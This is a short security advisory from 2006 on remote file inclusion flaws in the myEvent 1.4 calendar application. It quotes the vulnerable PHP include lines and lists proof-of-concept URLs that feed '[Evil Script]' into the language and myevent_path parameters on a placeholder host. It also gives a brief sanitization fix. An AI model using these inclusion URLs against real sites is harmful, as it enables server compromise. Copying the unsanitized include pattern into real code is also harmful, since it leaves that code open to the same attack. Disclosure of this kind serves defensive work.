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myEvent 1.4 Multiple Remote File Include Vulnerabilities --------------------------------------------------------------------------------------- Author : Sh3ll Date : 2006/08/11 HomePage : http://www.sh3ll.ir Contact : sh3ll[at]sh3ll[dot]ir --------------------------------------------------------------------------------------- Affected Software Description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : myEvent version : 1.4 Venedor : http://www.mywebland.com Class : Remote File Inclusion Risk : High Summary : myEvent Is a Dynamic Calendar Based Events Management System. --------------------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~ in admin.php , event.php , initialize.php , myevent.php , viewevent.php We Found Vulnerability Script ----------------------------------------admin.php-------------------------------------- .... <?php include_once($language); ?> ... ----------------------------------------event.php-------------------------------------- .... <?php include_once $myevent_path."includes/template.php"; ?> ... --------------------------------------initialize.php----------------------------------- .... <?php include $myevent_path."config.php"; include $myevent_path.$language; include_once $myevent_path."includes/template.php" ?> ... ----------------------------------------myevent.php------------------------------------ .... <?php include_once $myevent_path."initialize.php"; ?> ... ---------------------------------------viewevent.php----------------------------------- .... <?php include_once $myevent_path."initialize.php"; ?> ... --------------------------------------------------------------------------------------- PoC: ~~~ http://www.target.com/[myEvent]/admin.php?language=[Evil Script] http://www.target.com/[myEvent]/event.php?myevent_path=[Evil Script] http://www.target.com/[myEvent]/initialize.php?myevent_path=[Evil Script] http://www.target.com/[myEvent]/myevent.php?myevent_path=[Evil Script] http://www.target.com/[myEvent]/viewevent.php?myevent_path=[Evil Script] Solution: ~~~~~~~~ Sanitize Variabel $language in admin.php & Sanitize Variabel $myevent_path in admin.php event.php , initialize.php , myevent.php , viewevent.php ---------------------------------------------------------------------------------------- Note: ~~~~ Venedor Contacted, But No Response. So Do a Dirty Patch. ---------------------------------------------------------------------------------------- Shoutz: ~~~~~~ ~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena ~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams
